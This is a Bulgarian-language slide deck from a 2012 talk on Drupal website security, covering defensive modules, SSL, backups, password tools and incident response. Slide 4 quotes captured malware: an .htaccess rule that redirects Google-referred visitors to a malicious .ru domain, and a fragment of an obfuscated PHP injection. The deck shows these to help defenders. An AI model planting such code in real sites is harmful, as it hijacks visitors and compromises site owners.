1. СИГУРНОСТ В CMS DRUPAL
Общи положения за
сигурност на Уеб сайтове
София 10.02.2012 г.
@init Lab
2. Мета – за сигурността на Уеб сайта
Сигурността на Уеб сайта е задължение на
администратора;
тя е основна част
от изграждането на сайта;
дадена информация не съществува,
ако не е налична на три места.
@init Lab
3. Принципни положения при
злонамерен достъп
- изтриване на информация или подмяна на
страница с друга и компрометиращо съдържание;
- извличане на лични данни
на потребителите в сайта;
- пренасочване при достъпване от референтен
сървър, към сайт с компрометиращо съдържание.
@init Lab
4. Примери
-злонамерен код в .htaccess
RewriteEngine On
RewriteCond
%{HTTP_REFERER} .*google.* [OR]
RewriteRule ^(.*)$
http://peace-security.ru/mod/index.php [R=301,L]
- злонамерен код в PHP файлове
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!
@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo
"<script>document.cookie='".$sessdt_k."=".
$sessdt_f."';</script>";...
@init Lab
6. Основни методи за защита на
информацията и сайта:
- използване на криптирана връзка за оторизация
(SSL логин);
- оторизация на потребителски роли по IP адрес;
- акуратни права на потребителите в системата;
- рестрикции относно форматите за въвеждане;
- защита на формуляра за оторизация;
- следене дневника (log) за възможни проблеми;
- вграждане на модул за архивиране на базата
данни и файловете на сайта;
- обновяване на ядрото/модули на системата;
@init Lab
7. Основни методи за защита на
информацията и сайта - изисквания:
- SSL (статичен ip адрес на хоста и генериране на
сертификат – собствен, от свободна институция,
или от оторизиран източник). Инвестиция в
рамките на 24-50 лв на година със закупен
сертификат. (http://cacert.org/ - собствен серт.)
- статичен ip адрес за управление, влиза в пакета
на някои Интернет достачици. Инвестиция в
рамките на 25-30 лв мес, обезпечава сигурно
управление на сайта.
@init Lab
8. Основни методи за защита на
информацията и сайта - модули:
- SSL чрез ръчно пренасочване на адрес към https
или чрез модул http://drupal.org/project/session443
- ограничаване на достъпа на роля по ip адрес
http://drupal.org/project/restrict_by_ip
- създаване на периодичен архив на базата данни
и файловете на сайта (ръчно/автоматизирано)
http://drupal.org/project/backup_migrate
* не можах да инициализирам FTP сесия, cron
увисва при scheduled backup (за последния модул)
@init Lab
9. Проверка на сигурността на сайта
модули
- преглед на сигурността / действия
http://drupal.org/project/security_review
- определяне формати за въвеждане
според ролята на потребителя
http://drupal.org/project/better_formats
- проверка състоянието на таблиците в базата
данни http://drupal.org/project/schema
@init Lab
11. Защо паролата не е сигурен метод?
- може да бъде открадната при използване на
некриптирана връзка;
- сама по себе си не отговаря за самоличността на
въвеждащия (приказката за Али Баба);
- ако не е генерирана софтуерно е възможно да
бъде с ниско ниво на сигурност (повтаряемост).
@init Lab
12. Помощни приложения
- ползвайте генератор на пароли
http://pwgen-win.sourceforge.net/
- криптирайте важната информация - като пароли
за достъп до сървъри, на вашия компютър
http://www.truecrypt.org/
- при размяна на важни пароли по електронната
поща използвайте шифроване на данните.
http://www.gnupg.org/
@init Lab
14. Добрите и лошите
- ботове = X маркер на Вашата врата
- злонамерени потребители = Касим (Али Баба)
- пробиващият Системата = Шеф на крадците
Методи за защита – следене на лог записите,
блокиране на недобросъвестните потребители
/ботове (автоматизирано) по IP адрес, ограничаване
достъпа на лоши ботове чрез .htaccess файла
http://blog.superhosting.bg/good-vs-bad-bots.html
@init Lab
15. Да затворим вратата
- ограничаване достъпа на ботове до сайта;
http://en.linuxreviews.org/HOWTO_stop_automated_spa
m-bots_using_.htaccess
- автоматизирано известяване за проблеми на сайта
(модул http://drupal.org/project/logging_alerts) ;
- блокиране на адреси при опит за brute force attack
http://drupal.org/project/login_security;
@init Lab
17. При пробив в системата
- ограничете достъпа до сайта само до себе си;
- премахнете излишния софтуер от сървъра.
- свържете се с хостинг компанията и проверете
за последния наличен архив;
- влезте през задната врата (https:// до Вашия сървър)
а не през парадния вход – Лошият е вътре;
- сменете всички потребителски FTP и пароли и
главната за хост акаунта;
- свалете базата данни и файловете на системата и ги
прегледайте за злонамерен код – за OS Windows може
да ви послужи приложението
http://code.google.com/p/dngrep/
@init Lab
18. Защо сигурни сайтове?
- обезпечавате Вашия труд и инвестицията на
клиента;
- предотвратявате възможността Интернет
страницата да се използва злонамерено от трети
лица;
- правите Мрежата по-сигурно място за всички.
@init Lab
19. Допълнителна
стойност на Вашия труд
- можете да анализирате сайтове на клиенти за
нивото им на сигурност, срещу заплащане;
- можете да имплементирате решения за сигурност;
- можете да сключите договор за абонаментна
поддръжка, обновяване на системата и следене за
проблеми в сигурността.
@init Lab
20. Все още начинаещ
по въпросите за сигурността
Георги Атанасов
novsait@novsait.eu
http://www.novsait.eu
Работи с Друпал и пише теми
за версия 6.0, имлементира
SEO и Сигурност на системата
@init Lab